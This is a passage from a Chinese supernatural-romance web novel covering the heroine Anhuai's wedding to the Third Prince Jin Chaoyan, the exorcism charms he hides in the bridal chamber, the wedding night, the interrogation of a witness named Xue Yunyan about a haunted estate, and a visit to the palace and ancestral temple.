“有点烦躁。”安槐说:“殿下也知道我在府中不受喜爱,若是回去难免被念叨。明日成婚,我略有不安,刚才路过看见有人在钓鱼,想着这是个能静下心来的好办法,就找他买了鱼竿,想要让自己冷静一下。” 靳朝言省去前因后果,抓住关键词。 “与本王成婚,为何不安?你害怕?” 他看着安槐的脸,想要从中看出些什么。 但什么也看不出。 安槐一双黑眸如夜,看着水中。 “从一个陌生的地方,去另一个陌生的地方,总是不安。”安槐说:“殿下不是入赘,不懂这种不安。” “……” 靳朝言觉得这话不好聊。 他在安槐身边坐下,决定换个方向。 “我听说,庄子里的人待你不好。” “嗯,不好。” “你想报复吗?” 安槐有些意外地转头看靳朝言:“怎么报复?” “比如,把他们都从睡梦中拎出来,打一顿。” 安槐睁大眼睛:“这样也行?” “为何不行?”靳朝言理所当然:“本王是皇子,只要本王想,别说把他们打一顿,就是把他们都斩了,那又有何难?” 安槐认真想了一下。 “用什么理由呢?” “他们敢对皇子妃不敬,这就是最好的理由。” “太好了。”安槐说:“那就斩了吧,那庄子里没一个好东西。” 安槐进入了这具身体,拥有她所有的记忆。 那庄子里,真的没有一个好东西。 他们没有对安槐格外的照顾,反而各种羞辱欺凌。 有一部分是因为安家的授意,有一部分,是因为心理的扭曲。 是那种,你不是侯府大小姐吗?你不是应该锦衣玉食吗?可你现在也不过如此,踩你一脚,你又能如何? 把高高在上的明月拽下来,踩在脚下按在泥里,就好像能对比出自己的幸福一样。 本来安槐也不会放过他们,包括永安侯府里,对自己曾经落井下石,心怀恶意的所有人。 只是暂时还没顾上罢了。 没想到靳朝言主动说出了这话。 说完,靳朝言倒也没有后悔,但是他没想到安槐那么爽快。 都斩了? 那是至少几十条人命啊。 一般来说,就算是再嚣张跋扈的女子,在即将要成婚的夫婿面前,就算是装,也要装得善良大度一些吧。 安槐见靳朝言没再接话,追问了一句:“都斩了,可以吗?” 靳朝言又一次觉得自己被架了起来。 自己开的话题,自己提的办法,安槐只是赞许了。 要是现在他反过来责备安槐心狠,就自己都觉得虚伪了。 “我会派人调查。”安槐说:“若是曾经参与欺辱你的,一律处斩。” “谢谢殿下为我出头。” 安槐挺满意。 她猛地站起来,往上拎鱼竿。 水面上一朵巨大的水花。 真的上鱼了,还是条大鱼。 在靳朝言的惊讶中,安槐猛地一甩,一条大鱼被甩了上来。 这鱼和刚才那条差不多,有小臂长短。 安槐拎起鱼线,将大鱼挂在空中。 那鱼拼命的甩脑袋甩尾巴,甩了安槐一身的水。 “殿下,这鱼送你。”安槐说:“就当做……你为我出头的谢礼了。” 靳朝言无语的接过了鱼。 他为她杀人,她送了一条鱼。 这人情,就这么还了? 靳朝言脑子一转。 “我觉得报仇这事情,还是亲自来比较爽快。明日我们成亲,等过两日,我带你去一趟庄子。他们这些年是如何欺辱你的,你亲自报。有我给你撑腰,就算是你把他们活剐了,也不敢有谁敢哼半声。” 到了地方,看见故人。 一问一说,若眼前不是真的安槐,就要露馅。 安槐没有意见。 “多谢王爷,还是王爷想得周到。” 靳朝言接过了鱼:“不早了,我送你回府。今晚好好休息,明天安心等本王去接亲。” 事已至此,婚事是不能拖的。 就算是个附身的妖孽,也得接到身边再处理。 两人并肩往前走,月光将身影拉长,倒是十分般配一双璧人。 到了永安侯府门口,安槐多问了一句:“殿下今夜是不是还要审刚才抓住的嫌疑人?” “是。”靳朝言说:“不过你放心,案子是破不完的,不管怎么样,也不影响明日的婚礼。” 安槐放心了。 明日大婚,她很期待。 第36章 折骨,守棺人 永安侯府今晚,安稳的叫人心里发毛。 本来是该闹鬼的,但安槐想着明天毕竟是自己出嫁的大好日子,还是让大家都休息休息好。 闹鬼这事情也不急在一时,等她嫁出去之后,再慢慢闹。 侯府的好日子还在后头呢。 免得闹了自己的婚事。 今天靳朝言那一番话,似乎别有所指。 安槐一边往芳菲院走,一边思考着。 这婚事不能节外生枝,必须速战速决。 路过清明院的时候,远远地听见里面传来小孩儿的笑声和哭声。 安槐停了一下。 从地上捡起根树根,在清明院的墙上画了几道。 院子里的孩童声音便消失了。 只是好像有什么东西在墙后面撞一样,她画的图案处,突然往外凸了凸。 竟然掉了一点渣渣在地上。 墙后面的东西,撞的更起劲儿了。 但是悄然无声的,安静又诡异。 安槐好似看不见,径自走了。 这锁魂符有十二个时辰的效果,这一群无法无天的小鬼,现在可不能闹,等明天她走了再闹。 将安槐送回永安侯府,靳朝言也回了府。 诸元正在审从河边抓回来的女人。 活着的那个。 死了的就不用管了。 靳朝言不着急过去,而是叫过手下。 “你去一趟大昭寺。” 靳朝言交给他一封信,将这封信,交给大昭寺住持。 手下领命离开。 靳朝言这才去了地牢。 根本不用严刑拷打,进了牢房,诸元还没问呢,她就一把眼泪一把鼻涕的都说了。 诸元拿过供词给靳朝言看。 “殿下,这女人叫薛云烟,是全修锦的外室,死的那个婆子,是全修锦雇来照顾她的。” “她之前是秀春楼的妓子,三年前,全修锦去秀春楼,看中了她,就给她赎了身,一直养在万贤山庄里。” “全修锦是入赘的,养了外室这种事情自然不敢让夫妻知道,因此瞒得死死的。只是一个月去上一两回,两三回的。而且来去匆匆。” “害怕她被发现,因此也不让她出门,只在宅子里待着。” 听起来合情合理,但不用细看,全是毛病。 靳朝言皱眉道:“你说你是全修锦的外室,万贤山庄,是金屋藏娇之地?这话说的你自己信吗?” 万贤山庄,像个金屋吗? 薛云烟连连点头:“殿下,民女句句属实。不过全修贤并不是让我当一般的外室。” “什么意思?” 薛云烟说:“全修贤给我赎身之后,就将我送去了万贤山庄。他并不要我陪他睡觉,而是给了我一卷经文,让我每日在佛堂颂经。每日早中晚各一个时辰。其他时间,只要不出宅子,不拘着我做什么。” “你说的佛堂,是供奉着棺材的那个房间?” “是。” “难道你不觉得奇怪吗?谁家佛堂,供奉一个棺材?” “奇怪呀,但是他每个月给我五十两银子,让我给他当八年外室。八年之后,会给我白银三千两,然后让我离开,想去哪里,就去哪里。” 三千两阿,普通人一辈子赚不到的钱。 就算是搭进去八年最好的青春,也绝对值得。 有了这笔钱,下半辈子就可以衣食无忧了。 “你相信了?” 薛云烟面上闪过一丝迟疑。 “我……也不是很相信。那宅子里布置的有点瘆人……” 她这句十分客气了。 万贤山庄何止是瘆人,是非常瘆人。 称呼一句鬼地方,并不为过。 “既然瘆人,为何会留下。不怕那三千两,你有命拿没命花?” 薛云烟苦笑了一下。 她缓缓地撩起了两侧的头发。 刚从水下被拽上来,也没人怜香惜玉给她换一身干爽的衣服,薛云烟的头发也是乱七八糟散在脑袋上的。 她的发型没有什么奇怪,是当下流行的一种,脸两侧各挽了一个发圈,插着发簪流苏装饰。 没撩起来的时候,落下的头发是会把耳朵遮住的。 如今撩了起来,众人定睛一看,都惊了。 薛云烟没有耳朵。 只有两块能看见疤痕的皮肤。 一股诡异的气氛在牢房里散开。 薛云烟苦笑了一声。 “我跑了两次,付出了两只耳朵的代价。我不敢再跑了,我怕再跑,我这条命就保不住了。” “这是全修锦干的?他派人监视你?” “我不知道。”薛云烟说:“我根本不知道是谁。两次我都没见到人,只知道我跑出了万贤山庄,没跑出去多远,然后感觉耳朵一痛,就昏了过去。等我再醒来,又回到了山庄里。” 靳朝言道:“这件事情,你问过全修锦吗?” “问过。” “他怎么说?” “他很凶。没有否认,但也没有承认,他只是说,让我安分守己就能活,要是再生了什么其他的心思,就活不了。” 薛云烟的话可能是假的,但耳朵是真的。 靳朝言细看她的表情,觉得她倒不像是说谎的样子。 “既然如此,怎么今日又敢跑了?” “我听说全修锦死了。所以我想再试试,果然这次离开了万贤山庄,真的没人把我抓回去了。在山庄里的日子我真是受够了,那里阴森的很,晚上有时候还能听见哭声,我怕我等不到八年,就会疯了。” 薛云烟脸上有一丝懊恼。 “都是我贪心。我知道佛堂地下室里有许多金银珠宝。所以想着,先出去看看情况。如果全修锦真的死了,没人注意到这个地方,我再回去把珠宝拿上,远走高飞。” 薛云烟走的时候慌忙,只是拿了一部分细软。 但十分有限。 金银都非常沉重,她和婆子两个人又害怕,当时走的时候没拿走多少。 出来就后悔了。 就拿了那么点,白瞎受了这三年的苦,还丢了一双耳朵了。 财帛动人心,让人胆大包天。 于是薛云烟就在城里躲了起来,想着看看情况,要是全修锦真死了,就偷偷回去拿钱。 没想到全修锦是死了,可是官府介入了这事情。 薛云烟一看靳朝言带人轰轰烈烈的查了起来,又听着外面传的全修锦死的诡异,也不敢回去拿钱来,只想走。 第37章 折骨,新房处处是陷阱 众人听完,只觉得她说可怜吧,也可怜。 可怜之外,有点贪心,又有点怂。 倒是个活生生的正常人。 诸元听完一想:“不对,下午见你在码头左顾右盼的,似乎是在等人。你在等谁?” “有人给我塞了个纸条。”薛云烟说着,赶紧从怀里摸出个纸条来:“我也不知道这是谁,他让我等他。” 纸条上就两个字。 等我。 因为薛云燕一直揉着这张纸条,纸条上的字迹都有些模糊了。 没有抬头,没有落款。 只有光秃秃的两个字。 靳朝言扬了扬纸条:“你就为了这样一张纸条,就不走了?” 薛云烟一脸的苦涩。 “我不是图这个人能给我什么好处,我是害怕。万一给我纸条的人,就是割了我耳朵的人呢,我要是不听话,我怕他要我的命。” 倒也有一些道理。 虽然在万贤山庄待了三年,但薛云烟似乎一无所知。 靳朝言最后问:“你在山庄里日日诵经,诵的是什么经?” 薛云烟想都不用想就说:“太上北极伏魔神咒杀鬼箓。” 靳朝言虽然没读过,但听这名字,便知用处。 那宅子,也是用来镇压鬼魂的。 这经文,也是用来驱鬼杀鬼的。 看来这宅子真正的主人,是真害怕阿。 又问了一些,反反复复的也问不出什么新鲜东西了。 诸元低声说:“殿下,您先休息吧。明日还有大事,这女人关在牢里,查一查再审也不迟。” 不是她说什么,就是什么。 比如太上北极伏魔神咒杀鬼箓,日日诵,一天三遍的诵。现在应该会背也会默了吧。 比如她说自己是三年前全修锦从秀春楼里赎出来的,那秀春楼里的老鸨和其他人是不是认识她?三年而已,又不是三十年,总不能全忘了吧。 总之她说过的话,一句一句,只要是能查的,都要核查一遍。 靳朝言出了牢房。 王府已经张灯结彩地挂了起来,到处都是红彤彤的。 和牢房里,就好像是两个世界。 安槐睡了个安稳觉。 第二天,永安侯府也热闹起来。 府里的人可以看不上她这个从小养在庄子里的大小姐,但是不敢看不起靳朝言。 永安侯夫妻今日也是一身正装,就是笑得很命苦的样子。 安槐在京城不认识什么人,房间里也没有关系好的小姐妹。 不过靳朝言表面工作做的到位,梳妆打扮的都是宫里来的女官,一切流程正规的很。 很快时辰就到了。 外面有人闹哄哄的喊了起来。 “三皇子来接亲了,三皇子来接亲了。” 按规矩,皇子成婚是不必来亲迎的,只要在府里等着就好。 但靳朝言来了,可见对未来王妃的重视。 靳朝言骑着高头大马,身穿一身红衣,英俊挺拔,喜庆冲散了一些戾气,就算脸上有一道疤痕看起来也没那么可怕了。 安槐被婆子背出了王府。 安明珠今天也打扮起来了,心里虽然一万个不愿意,但是不敢造次。 看着靳朝言跳下马来,牵着安槐的手走向花轿,恨不得咬碎一口的牙。 一声起轿,花轿稳稳的被抬了起来。 天空一声鸟鸣,九条冲了下来,落在花轿顶上。 它今天有点滑稽。 安槐也给它脖子上挂了个大红花。 九条今天是陪嫁,甚至在陪嫁的册子上。 打马游街,热闹非凡。 安槐坐在花轿里,玩弄着花轿里的大红花。 一边想着,今晚就能拆礼物了,真好。 皇子成婚和民间略有不同,皇帝皇后不会在皇子府邸,高堂位设空座。 等明日一早,皇子再携王妃进宫请安行礼。 当然,宫里的各种赏赐不会少。 安槐觉得有趣的很,热热闹闹的拜了堂,进了当洞房。 靳朝言要留在外面招待宾客,没那么快进来。 安槐进了新房,身边就剩下柳嬷嬷和小喜。 新房里安静下来。 安槐掀起红盖头。 小喜和柳嬷嬷都吓了一跳。 “王妃,不可啊。” 柳嬷嬷一边说着,一边快步走过来,想要重新给安槐盖上盖头。 “没事儿,没那么矫情。” 安槐摆摆手:“一会儿再盖上不就好了。” 柳嬷嬷无言以对。 安槐觉得这两个怎么比她还紧张呢? 多大点事,紧张不好。 于是安槐给两人一人塞了个金元宝。 “你们俩也累了一天了,去休息吧。” 两人一听,那怎么行。 “这样吧。”安槐退一步:“现在也不冷,你们在门外台阶上坐着休息休息,这样等殿下过来,你们可以及时通知我。” 这倒是行。 两个人就这么糊里糊涂的被安槐推了出去。 新房门又关上了。 安槐将盖头放在一旁,打量着这间新房。 这新房,不对劲啊。 靳朝言莫非是察觉到什么了?怀疑自己了? 新房乍一看,和一般的新房没有什么区别,布置精致华美,里面的东西也是一等一的好,一看就知道是用了心的。 但安槐一进来,就知道内有乾坤。 她撩起裙摆,弯腰往床下看了看。 黑暗中,她可以清晰的看见床底有七枚铜钱。 铜钱呈北斗七星阵铺在床底,泡了黑狗血,传说药物沾之既会行动迟缓,甚至会被迫显露原形。 安槐又走到窗子边。 窗户上还贴了大红喜字。 可这门窗上的门环和插销都是桃木削的,喜字的红纸背面,涂了朱砂。 “靳朝言这是想干什么?” 安槐自言自语一伸手。 房梁上挂着的一个东西落了下来,正落在安槐手心。 这是个用黑狗牙穿成的手串。 …… 安槐无语的将手串抛回房梁上去。 “今天的交杯酒,该不会是雄黄酒吧?” 安槐走到桌边,拿起酒壶闻了闻。 还好不是。 没有那么荒谬。 “真看不出来。”安槐回到床边,在被子里摸啊摸,摸出几个花生,一边捏开吃,一边絮叨:“三皇子这一套一套的,也不知道是跟谁学的。好好的新房,弄的乌烟瘴气的……” 安槐吃了好几颗花生红枣桂圆。 外面突然传来小溪的大嗓门。 “殿下,您来了。” 安槐连忙擦了擦嘴角,坐到床边,盖好红盖头。 第38章 折骨,送礼送到心坎里 就算靳朝言是不苟言笑,冷面冷心的三皇子,今天这个日子,也是难免要被属下灌酒的。 不敢往死里灌罢了。 靳朝言出现在房门口,一身红衣,脸上也有些红。 虽然一身酒味,但人还很清醒。 他给了小喜和柳嬷嬷一人一个荷包。 让她们退下。 新婚夜,有男女主角在就行了。 靳朝言走进房间,就看见安槐老老实实坐在床边,盖着盖头。 他往上看了看,又往下看了看。 提前做了那些布置,似乎对她没有什么影响。 安槐,真的没有问题吗? 靳朝言一步一步地走了过来。 掀起红盖头。 龙凤烛照的人面如花。 靳朝言虽然之前见过安槐几面,但那要么素面朝天,要么略施粉黛,不似今日精心装扮,还带几分娇羞。 靳朝言的目光在安槐唇边定了定。 伸手。 安槐正想着这三皇子看起来不像这么着急的人啊,合卺酒都不喝就着急洞房吗? 也不是不行。 她只要得到靳朝言的人,其他都不重要。 靳朝言的指尖落在安槐唇边,点了一点。 “刚才偷吃了?” 安槐唇边,有一点没擦干净的花生衣。 安槐僵硬了,连忙伸手摸了摸。 尴尬了。 “殿下见笑了……”安槐喃喃:“一天没吃,实在是饿了。” 靳朝言笑了一下。 “一天没吃,吃两颗花生就饱了?” “不饱,想吃肉。” 靳朝言起身走到门口,吩咐下人去准备些吃食。 安槐从心里觉得,如果不是洞房里恨不得有九九八十一种驱鬼抓鬼法阵,那靳朝言是真的可能挺喜欢自己的。 “谢谢殿下。” 靳朝言走到桌上,拿过两个酒杯,倒上酒。 交杯酒是要喝的。 这交杯酒虽然不是雄黄酒,但读书高十分烈。 平日不常饮酒的人可以说是一杯倒。 喝醉了,更容易现原形。 安槐接过酒杯,两人手臂交缠,喝了酒。 安槐抬眼看靳朝言。 好看,多看。 我的。 随便看。 烛光下的美人,真是眉目如画,酒不醉人人自醉。 安槐的眼睛都眯了起来。 三百年前,她也是个害羞矜持的闺中女儿。 不过都死了三百年了,现在就不太讲究了。 很快饭菜来了。 安槐跟靳朝言客气了两句,就开吃了。 堂堂三皇子府,养一个稍微能吃点的皇妃,问题应该不大吧? 不得不说,三皇子府的厨子,比外面的酒楼还好。 安槐吃的很满意,吃的很高兴。 一高兴,就想投桃报李。 “殿下,我有东西要送你。” 靳朝言好奇:“什么东西?” “在我嫁妆里。”安槐说:“我去拿,殿下你稍等一下。” 安槐说着就要往外跑。 靳朝言一把拽住了她胳膊:“不着急。” “着急,你肯定喜欢。”安槐一想:“那你陪我一起去。” 安槐这么说了,靳朝言也很好奇是什么。 反正嫁妆就在小库房里,也不远。 当下,两人就出了门。 打开库房,里面大大小小的箱子不少。 箱子由三部分组成。 一部分是靳朝言给的聘礼,一部分是永安侯府的陪嫁。 这两个是大头。 这两者,今天都让人十分意外。 没想到靳朝言给的聘礼那么丰盛,也没想到永安侯府的陪嫁那么丰盛。 靳朝言的聘礼说得过去,京中世家贵女都不愿意做三皇子妃,他虽然是个皇子,但娶妻没那么容易。多给点,合理。 但是谁也没想到,永安侯府会将聘礼原数带回,还给了大半身家做陪嫁。 毕竟安槐这个突然冒出的大小姐,虽然往深处查身份是没问题的,但到底是怎么回事,众人难免猜测。 当然,谁也猜不到永安侯夫妻晚上见了鬼。 大家只能猜,安槐从小不在身边长大,委屈了吃苦了,所以永安侯夫妻补偿她多一些,求个心安。 最少的,是她从三石坡挖出来的。 还没有时间清理,里面乱七八糟的。 安槐打开一个三十坡的箱子。 一阵难闻的味道散发出来。 “有点味道,还没清理。”安槐抱歉的说了一声,然后开始在里面翻找。 靳朝言又不是娇生惯养的皇子,不在乎这点味道,但他确实很好奇,安槐会送什么给他。 安槐翻啊翻,翻出个牌子。 牌子一拿出来,靳朝言突然感觉身上一暖。 “这是什么?” 安槐将牌子展示给他看,可惜,上面一层灰扑扑的泥土,什么也看不出。 “有点脏,我洗洗。” 安槐也不嫌脏,拿着就出了门。 院子里有口水井。 井边有个水桶,里面有水。 她就在井边蹲下,将牌子放进去涮了涮。 还在桶里搓了搓。 拿出来甩了甩水,从怀里摸出个帕子擦了擦。 靳朝言静静看着安槐做这一切,她举手投足,倒确实像是庄子里长大的女子。 “好了。” 安槐洗好了牌子,说:“走吧,咱们回新房。” 靳朝言都已经伸手要接过牌子了,没想到安槐没给他。 他只好跟着安槐往前走,一边奇怪:“这个东西,要在新房给我吗?” “对,我有个漂亮的盒子在抽屉里,送礼要有仪式感。” 这莫名其妙的仪式感,但靳朝言还是跟着安槐回了新房。 梳妆台抽屉里果然有个漂亮的锦盒,安槐将牌子放了进去。 装好,盖上,然后双手递到靳朝言面前。 “殿下,送给你,你一定会喜欢的。” 靳朝言接过,有些好奇:“你知道我喜欢什么么?” “当然知道。” 他不着急打开:“那你说说看,我喜欢什么。” 安槐自信地说:“喜欢那些可以镇宅,辟邪,除污秽,驱鬼的法器。” 靳朝言一听安槐这话,脸色骤变。 但他总算是城府够深,只是短短一瞬就恢复了正常。 “你为什么会这么想?” 安槐指了指门,指了指窗,指了指床下:“因为我看这房间里放了许多类似的物品,都是挺讲究的法器,所以我想殿下肯定喜欢。” 靳朝言眉心直跳。 “你都看见了?” “看见了呀,殿下难道忘了,我也懂一些风水玄学秘术,一看便知。” 第39章 折骨,洞房 靳朝言没忘,安槐确实这么介绍过。 但是他不信啊。 这房间就是他精心布置的,任何妖魔鬼怪进来,不说现原形,都会有所忌惮。 但看安槐,好像没什么反应。 靳朝言让自己冷静下来。 他打开盒子,倒是想看看,安槐会送他什么。 盒子里,是块玉佩。 “这是什么?” 靳朝言将玉拿起来,玉佩碰到皮肤,说不出清爽透彻。 他也是见多了好东西的,知道这玉不是凡品。 “这叫玄宸镇邪玉牌。”安槐说:“不知殿下可曾听过,这玉牌是一位道家大师制作,蕴含道家清玄之气。能摄阴魂,祛邪祟,纵是厉鬼近身不敢妄动。” 靳朝言心里一动。 “这竟然是玄宸玉牌?我听说过。” 这玉牌是昆仑寒玉雕琢而成,玉质清澈如冰,内里隐有淡淡金纹流转,触手生凉却不入骨。 “对,就是你听说的那个。” 靳朝言细看,只见玉牌正面刻着镇煞安灵四个字,笔锋苍劲如神授。 背面雕绘麒麟衔灵纹,双目镶嵌赤焰血珠,暗光之下微微红光流转。 “据我所知,这玉牌已经失踪百年,你如何得到?” “师父给的。”安槐骗靳朝言那是一点压力都没有:“王爷喜欢就送给王爷,带在身上可以护持神魂,挡灾避祸。” 安槐抬头看靳朝言,满脸是,夸我夸我夸我。 一片赤诚。 靳朝言突然觉得,自己对她的疑神疑鬼有点没良心了。 安槐难道真的只是一个单纯又热诚的姑娘?看见自己喜欢,就眼巴巴的把这么珍贵的宝贝送出来。 “殿下。”安槐一脸期盼看着他:“你喜欢吗?” 靳朝言不能说不喜欢。 但是,见过那么多宝贝的三皇子,也觉得这个太贵重了。 “这玉牌可遇不可求,你送给我,不会舍不得吗?” “当然不会。”安槐大大咧咧:“你又不是外人,我的就是你的,送给你,那跟我自己戴着没有什么区别。” 这和表白有什么区别? 靳朝言虽然心里依然怀疑,但人都娶了,最多放在眼皮底下看着,也不可能新婚夜暴起怎么样的。 不过洞房,倒是不着急。 在没有彻底解开心里的困惑之前,靳朝言没准备圆房。 下了决定,靳朝言笑道:“我很喜欢,你有心了。” 安槐看着红烛下盛世美颜,特别是笼罩着盛世美颜的那一团黑雾,心里蠢蠢欲动。 她低下头去,心砰砰的跳。 兴奋的脸都要红了。 快要吃到肉了。 感觉靳朝言握住了她的手。 “夫人。”靳朝言改了称呼:“夜深了……” 安槐欲拒还迎。 “今天你肯定累坏了,你好好休息。”靳朝言说。 “嗯……嗯?” 安槐应了一声觉得不对劲。 什么? 好好休息是几个意思? 新婚夜不好好折腾,却要好好休息,靳朝言是不是不行? 难道这些年边境苦寒,弄坏了身体? 安槐猛的抬头,用疑惑的眼光看着靳朝言。 然后疑惑的目光缓缓下移,落在某处。 靳朝言开始还没反应过来,后来猛的反应过来,不由的脸上一红。 “你看哪儿呢?” 安槐斟酌了一下语言,十分含蓄:“殿下,你身体……是不是不方便?” 靳朝言想吐血。 男人有什么不方便的? 这是个闺中女儿能问出来的话吗? “我没有不方便,我很方便。”靳朝言沉下脸:“我是怕你累着了。” “我不累啊。” 一句话就把靳朝言堵死了。 靳朝言深深吸了口气。 “这两天我有案子在身,要在书房查阅资料。你先休息吧,不必等我。” 说完,靳朝言转身要走。 但安槐怎么可能放他走。 她嫁进三皇子府,就是为了名正言顺吃这一口。 今天把靳朝言放走了,下一口还不知道在哪里呢? “殿下。”安槐握住了靳朝言的袖子,声音甜腻。 “还有什么事?” 靳朝言转头看向安槐。 安槐眨了眨眼,吹出一口气。 靳朝言突然间就恍惚了一下。 眼前一切都朦胧起来。 “殿下……” 安槐慢慢靠近:“我是谁?” “夫人……” 靳朝言眼神失了清冷。 “今天,是什么日子?” “是……我们新婚夜。” 安槐握着靳朝言的手,往床边走去。 “新婚夜……要做什么?” 靳朝言仿佛被摄了心魂一样:“圆房。” “对了,圆房。” 安槐张开手臂搂住靳朝言的腰,两手伸在背后。 啪嗒一声。 靳朝言的腰带解开,落在地上。 安槐推了一下靳朝言的肩膀,他便坐在床边。 大概是迷糊起来的原因,本来压制着的黑色阴灵横冲直撞起来。 安槐眼睛都要发光了。 她你饿起靳朝言的下巴,亲了过去。 无数冤魂在靳朝言体内嘶吼,喊叫,挣扎,在呼吸相闻中,进入安槐体内。 靳朝言此时迷迷糊糊,全凭本能行事。 他搂过安槐的腰,只觉得真细,真软。 洞房要做什么? 虽然没有经验,但在军中那些时候,手下人可没少讲荤段子,他大抵也是明白的。 摸索摸索,尝试尝试,熟能生巧。 一夜春宵。 天明方歇。 习武之人体力就是好。 靳朝言意识回笼已经是第二天清晨。 睁开眼睛满眼红色,他恍惚了一下。 听着耳边传来清浅的呼吸声,猛地转头。 安槐在一旁睡的沉,被子只拉到肩上,还露出半个肩膀。 露出的皮肤上,斑斑点点的红痕,无一不在说着昨晚上有多么旖旎疯狂。 靳朝言只觉得心里一热。 但随即就觉得不太对劲。 他不是决定要观察安槐一段时间吗?可眼下这一幕明显昨晚他和安槐已经圆房了。 怎么会圆房的? 他闭了闭眼,昨日记忆涌上。 安槐拉住了他的手,抱住了他,他解开安槐的腰带,亲吻,将她按在床上……记忆一点不少。 有多热烈,有多疯狂,有多少销魂蚀骨的滋味。 他记忆十分清晰,可却又怎么都觉得不太对。 总觉得哪里不太对。 难道是昨天喝多了?可是他的酒量心里有数,他昨夜并未喝多,进新房的时候,是很清醒的。 第40章 折骨,又一个孩子 靳朝言正在回忆,安槐醒了。 安槐昨晚吃的可真好。 睡得也好。 一觉醒来,感觉充满了力量。 睁开眼,入眼的就是靳朝言的脸。 五官没有一点缺陷的脸,那条伤疤,更添坚毅。 安槐抬起手来,抚摸上那条伤疤。 再往下,是中衣敞开的胸口,肌肉线条流畅分明。 胸口皮肤上,有几处红印,那是她留下的印记。 还有一个牙印,是情到浓时的放肆。 一只手,抓住了安槐的手。 安槐抬眼看靳朝言。 “殿下,早。” 娇羞是没有娇羞的,只有无限的餍足。 那一副吃饱喝足无限满意的表情,让靳朝言感觉奇奇怪怪的。 但又好像没什么毛病。 新婚夜之后,又没吵又没闹的,难道不是就该如此和谐吗? 他一早醒来,也调理内息运转真气。 不但没有疲累沉重的感觉,反而比往日舒畅许多。 军中训练间隙,闲得慌侃大山,那真是什么都说。 什么,狐狸精半夜勾引书生,吸取阳气啥啥的,他偶尔也会听一耳朵。 今天醒来,怎么也想不起昨天到底是怎么开始的,他不是没怀疑过,是不是安槐做了什么。 可身体没有一点不舒服的感觉,反倒是神清气爽,精力充沛。 这应该不是被吸了阳气吧? 反倒像是冲喜成功? “殿下?”安槐见靳朝言发呆,动了动手。 靳朝言回过神来。 “你……昨晚睡的好吗?” 安槐笑着点头。 大大方方,坦坦荡荡。 “那就起吧。”靳朝言说:“今天还要进宫给父皇母后请安。” “好。” 新婚第一天,要去公里请安。 皇太后,皇帝,皇后。 有些人家的儿媳妇每日都要去婆母那里请安立规矩呢,皇子不住宫里,只有逢年过节大日子去请安就行,已经要自由多了。 两人起身,让下人进来伺候梳洗。 一边伺候,一边偷偷的看。 心里都松了口气。 看起来,三皇子和皇子妃昨日洞房花烛,十分和谐。 今天两人的气场都比昨日温和了。 诸元有点没大没小,还偷偷摸摸问靳朝言。 “殿下,昨天新婚,感觉如何?” 靳朝言沉着脸:“什么如何?” “就……身体如何?皇子妃不是嫁过来冲喜的吗?冲喜有用吗?” 靳朝言沉默了一下。 转身走了。 诸元愣在原地。 这是什么意思? 有用就有用,没用就没用,走了? 杭玉堂在一旁拍拍他。 “我觉得,有用。” “为什么?” 杭玉堂晃晃悠悠地说:“难道你没觉得,殿下今日容光焕发?” 呵呵呵。 就差脸红了。 收拾妥当,用了早膳,两人一辆马车进宫。 靳朝言有无数话想说不好说。 他总不能问安槐,你是人吗? 安槐掀开窗帘一角,往外看着。 街上热热闹闹。 突然,一阵哄闹,一个孩子从前面冲过来,差一点撞到马车,然后灵活的一个走位避开马车,然后继续往前跑去。 后面追着个中间男人,喊着。 “钱,没给钱呢,钱……” 小孩儿已经跑远了。 男人骂骂咧咧的,只好转身回去。 走进了路边的一家糕点铺子里。 看样子,是小孩儿在铺子里拿了糕点但是没给钱,跑了。 老板出来追了两步没追上,也只能算了。 几块糕点罢了,其实就算追上了还能喊打喊杀吗?也就是骂几句得了。 安槐从腰包里摸出块碎银子丢出去。 正好落在老板手边。 老板愣了一下,左看看,右看看,没发现钱是谁给的。 但估计是有哪个好心人路过,帮小孩儿给了钱,还给了那么多。 老板怒火全消,喜滋滋了。 靳朝言没想到安槐会替那孩子给钱,不由问了声:“那孩子你认识?” “不认识,就是顺手罢了。” 那孩子她虽然不认识,可是今天是阴天,所以没人看见,那孩子,是没有影子的。 皇宫里威严庄重,紫气环绕。 安槐下了马车,有些恍惚。 “别怕。”靳朝言说:“皇宫也没有那么可怕,你自然一些就好。” 安槐应了一声。 但靳朝言说的不对。 皇宫是天下最大的坟场。 在这个宫殿里,有太多游荡走不出的魂魄。 先去给皇太后请安。 皇太后对这个孙子孙媳妇,说了些场面话,赏赐了些东西,就告退了。 倒是皇帝看见靳朝言后,眼前一亮。 皇帝很高兴。 “老三,朕看你今日的精神比上次好许多,这冲喜,是真管用啊?” 皇帝说着,问一旁贴身伺候的公公。 公公笑道:“陛下说的是,奴才看三皇子殿下的精神也好了许多。这大约是人逢喜事精神爽,心情一好,身体自然也就好了。” 皇帝觉得非常有道理。 本来以为,以靳朝言现在的名声,这婚事是非常勉强的。安槐就算是因为皇命不得不嫁,也是害怕委屈的,赶鸭子上架的。 万万没想到。 小两口还挺甜蜜的。 这一来,皇帝这一颗老父亲的心,就舒服了。 皇后不是靳朝言的亲生母亲,没有爱不爱,也没有矛盾,照例说了一些场面话,给了见面礼。 皇帝知道靳朝言现在还在忙着案子,也没有多留,说了些安抚勉励的话,也就让他们回了。 靳朝言却没有着急出宫,而是说:“还有一个人,要去祭拜一下。” “什么人?” “我母妃。” “……” 安槐想了一下,反应过来了。 靳朝言说的是他的生母。 靳朝言生母是贵妃,姓盛,闺名秋芳。 盛秋芳是户部尚书之女,进宫五载,封为贵妃。 但盛贵妃和娘家关系很不好,不知为何,闹的几乎决裂。 靳朝言出生没多久,盛秋芳就病逝了,他是别的妃子养大的,和外祖家也不亲。 不但不亲,甚至是有仇一样。 具体是什么仇也没人知道,反正不似亲人那般来往。 也幸亏靳朝言在军中混出了一定的名堂,要不然的话,也就是个闲散王爷,落魄皇子。 “是盛贵妃吗?” 靳朝言点了点头。 宫里过世的嫔妃,只要有一定的品级,灵位会入奉先殿。 这是皇家家庙,每年节日,忌日,都会组织祭拜。 靳朝言自然要带安槐去拜一拜自己的生母。 第41章 折骨,困在家庙 到了奉先殿外,站了一站。 靳朝言转头去看安槐。 只见安槐一脸严肃。 皇家家庙,三重围墙。 黄琉璃的瓦顶,隔绝阴邪。 墙顶转角嵌着刻有八卦的镇宅砖,正对大门的照壁上,刻着盘龙祥云火焰珠,龙威镇邪,麒麟守正。 正门口,列戟阵,站门神。 安槐没什么不舒服的反应,跟着靳朝言走了进去。 盛妃的牌位就在其中。 靳朝言领着安槐拜了。 “母亲,我带儿媳妇来给您请安。” 安槐也磕了几个头。 看着前方,面无表情。 